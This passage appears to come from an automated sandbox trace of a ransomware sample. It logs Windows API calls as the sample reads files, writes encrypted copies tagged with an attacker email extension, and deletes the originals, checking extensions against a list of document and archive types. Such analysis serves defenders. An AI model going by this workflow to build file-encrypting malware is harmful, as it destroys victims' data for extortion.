(lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.184] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0043.184] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.184] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.184] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0043.222] GetLastError () returned 0x0 [0043.222] ReadFile (in: hFile=0x344, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x4958, lpOverlapped=0x0) returned 1 [0043.302] WriteFile (in: hFile=0x354, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x4960, lpOverlapped=0x0) returned 1 [0043.303] ReadFile (in: hFile=0x344, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.303] WriteFile (in: hFile=0x354, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xf8, lpOverlapped=0x0) returned 1 [0043.303] SetEndOfFile (hFile=0x354) returned 1 [0043.304] CloseHandle (hObject=0x354) returned 1 [0043.304] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.304] SetEndOfFile (hFile=0x344) returned 1 [0043.305] CloseHandle (hObject=0x344) returned 1 [0043.305] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.306] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1 [0043.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0043.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0043.306] lstrlenW (lpString=".doc") returned 4 [0043.306] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.306] lstrlenW (lpString=".docx") returned 5 [0043.306] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0043.306] lstrlenW (lpString=".pdf") returned 4 [0043.306] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.306] lstrlenW (lpString=".xls") returned 4 [0043.306] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.306] lstrlenW (lpString=".xlsx") returned 5 [0043.306] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0043.306] lstrlenW (lpString=".ppt") returned 4 [0043.306] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0043.306] lstrlenW (lpString=".zip") returned 4 [0043.306] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.306] lstrlenW (lpString=".rar") returned 4 [0043.306] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.306] lstrlenW (lpString=".bz2") returned 4 [0043.306] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.306] lstrlenW (lpString=".7z") returned 3 [0043.306] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0043.306] lstrlenW (lpString=".dbf") returned 4 [0043.306] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0043.307] lstrlenW (lpString=".1cd") returned 4 [0043.307] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0043.307] lstrlenW (lpString=".jpg") returned 4 [0043.307] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0043.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0043.307] lstrlenW (lpString=".doc") returned 4 [0043.307] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.307] lstrlenW (lpString=".docx") returned 5 [0043.307] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0043.307] lstrlenW (lpString=".pdf") returned 4 [0043.307] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.307] lstrlenW (lpString=".xls") returned 4 [0043.307] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.307] lstrlenW (lpString=".xlsx") returned 5 [0043.307] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0043.307] lstrlenW (lpString=".ppt") returned 4 [0043.307] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0043.307] lstrlenW (lpString=".zip") returned 4 [0043.307] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.307] lstrlenW (lpString=".rar") returned 4 [0043.307] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.307] lstrlenW (lpString=".bz2") returned 4 [0043.307] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.307] lstrlenW (lpString=".7z") returned 3 [0043.307] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0043.307] lstrlenW (lpString=".dbf") returned 4 [0043.307] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0043.307] lstrlenW (lpString=".1cd") returned 4 [0043.307] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0043.308] lstrlenW (lpString=".jpg") returned 4 [0043.308] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.308] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.308] lstrlenW (lpString="Rotate1.ico") returned 11 [0043.308] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.346] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=894) returned 1 [0043.346] CloseHandle (hObject=0x30c) returned 1 [0043.346] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0043.346] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.349] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0043.349] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.349] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.349] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0043.349] GetLastError () returned 0x0 [0043.349] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x37e, lpOverlapped=0x0) returned 1 [0043.454] WriteFile (in: hFile=0x344, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x380, lpOverlapped=0x0) returned 1 [0043.454] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.454] WriteFile (in: hFile=0x344, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xea, lpOverlapped=0x0) returned 1 [0043.454] SetEndOfFile (hFile=0x344) returned 1 [0043.455] CloseHandle (hObject=0x344) returned 1 [0043.455] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.455] SetEndOfFile (hFile=0x358) returned 1 [0043.456] CloseHandle (hObject=0x358) returned 1 [0043.456] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.456] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0043.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0043.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0043.457] lstrlenW (lpString=".doc") returned 4 [0043.457] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.457] lstrlenW (lpString=".docx") returned 5 [0043.457] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0043.457] lstrlenW (lpString=".pdf") returned 4 [0043.457] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.457] lstrlenW (lpString=".xls") returned 4 [0043.457] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.457] lstrlenW (lpString=".xlsx") returned 5 [0043.457] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0043.457] lstrlenW (lpString=".ppt") returned 4 [0043.457] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0043.457] lstrlenW (lpString=".zip") returned 4 [0043.457] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.457] lstrlenW (lpString=".rar") returned 4 [0043.457] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.457] lstrlenW (lpString=".bz2") returned 4 [0043.457] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.457] lstrlenW (lpString=".7z") returned 3 [0043.457] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0043.457] lstrlenW (lpString=".dbf") returned 4 [0043.457] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0043.457] lstrlenW (lpString=".1cd") returned 4 [0043.457] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.457] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0043.457] lstrlenW (lpString=".jpg") returned 4 [0043.457] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0043.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0043.458] lstrlenW (lpString=".doc") returned 4 [0043.458] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.458] lstrlenW (lpString=".docx") returned 5 [0043.458] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0043.458] lstrlenW (lpString=".pdf") returned 4 [0043.458] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.458] lstrlenW (lpString=".xls") returned 4 [0043.458] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.458] lstrlenW (lpString=".xlsx") returned 5 [0043.458] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0043.458] lstrlenW (lpString=".ppt") returned 4 [0043.458] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0043.458] lstrlenW (lpString=".zip") returned 4 [0043.458] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.458] lstrlenW (lpString=".rar") returned 4 [0043.458] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.458] lstrlenW (lpString=".bz2") returned 4 [0043.458] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.458] lstrlenW (lpString=".7z") returned 3 [0043.458] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0043.458] lstrlenW (lpString=".dbf") returned 4 [0043.458] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0043.458] lstrlenW (lpString=".1cd") returned 4 [0043.458] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.458] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0043.458] lstrlenW (lpString=".jpg") returned 4 [0043.458] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.459] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.459] lstrlenW (lpString="Rotate4.ico") returned 11 [0043.459] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0043.459] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=894) returned 1 [0043.459] CloseHandle (hObject=0x358) returned 1 [0043.459] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0043.459] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.459] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0043.460] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.460] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.460] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0043.460] GetLastError () returned 0x0 [0043.460] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x37e, lpOverlapped=0x0) returned 1 [0043.627] WriteFile (in: hFile=0x344, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x380, lpOverlapped=0x0) returned 1 [0043.628] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.628] WriteFile (in: hFile=0x344, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xea, lpOverlapped=0x0) returned 1 [0043.628] SetEndOfFile (hFile=0x344) returned 1 [0043.628] CloseHandle (hObject=0x344) returned 1 [0043.629] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.629] SetEndOfFile (hFile=0x358) returned 1 [0043.630] CloseHandle (hObject=0x358) returned 1 [0043.630] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.630] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0043.630] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0043.630] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0043.630] lstrlenW (lpString=".doc") returned 4 [0043.630] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.630] lstrlenW (lpString=".docx") returned 5 [0043.630] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0043.630] lstrlenW (lpString=".pdf") returned 4 [0043.630] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.630] lstrlenW (lpString=".xls") returned 4 [0043.630] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.630] lstrlenW (lpString=".xlsx") returned 5 [0043.630] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0043.630] lstrlenW (lpString=".ppt") returned 4 [0043.630] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.630] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0043.630] lstrlenW (lpString=".zip") returned 4 [0043.630] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.631] lstrlenW (lpString=".rar") returned 4 [0043.631] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.631] lstrlenW (lpString=".bz2") returned 4 [0043.631] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.631] lstrlenW (lpString=".7z") returned 3 [0043.631] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.631] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0043.631] lstrlenW (lpString=".dbf") returned 4 [0043.631] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.631] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0043.631] lstrlenW (lpString=".1cd") returned 4 [0043.631] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.631] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0043.631] lstrlenW (lpString=".jpg") returned 4 [0043.631] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.631] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0043.631] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0043.631] lstrlenW (lpString=".doc") returned 4 [0043.631] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.631] lstrlenW (lpString=".docx") returned 5 [0043.631] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0043.631] lstrlenW (lpString=".pdf") returned 4 [0043.631] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.631] lstrlenW (lpString=".xls") returned 4 [0043.631] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.631] lstrlenW (lpString=".xlsx") returned 5 [0043.631] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0043.631] lstrlenW (lpString=".ppt") returned 4 [0043.631] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.631] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0043.631] lstrlenW (lpString=".zip") returned 4 [0043.631] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.631] lstrlenW (lpString=".rar") returned 4 [0043.631] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.631] lstrlenW (lpString=".bz2") returned 4 [0043.632] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.632] lstrlenW (lpString=".7z") returned 3 [0043.632] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.632] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0043.632] lstrlenW (lpString=".dbf") returned 4 [0043.632] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.632] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0043.632] lstrlenW (lpString=".1cd") returned 4 [0043.632] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.632] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0043.632] lstrlenW (lpString=".jpg") returned 4 [0043.632] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.632] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.632] lstrlenW (lpString="SysReqMet.ico") returned 13 [0043.632] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0043.632] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=1150) returned 1 [0043.632] CloseHandle (hObject=0x358) returned 1 [0043.632] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0043.632] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.632] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0043.633] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.633] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.633] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0043.633] GetLastError () returned 0x0 [0043.633] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x47e, lpOverlapped=0x0) returned 1 [0043.738] WriteFile (in: hFile=0x344, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x480, lpOverlapped=0x0) returned 1 [0043.739] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.739] WriteFile (in: hFile=0x344, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xee, lpOverlapped=0x0) returned 1 [0043.739] SetEndOfFile (hFile=0x344) returned 1 [0043.739] CloseHandle (hObject=0x344) returned 1 [0043.740] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.740] SetEndOfFile (hFile=0x358) returned 1 [0043.741] CloseHandle (hObject=0x358) returned 1 [0043.741] SetFileAttributesW 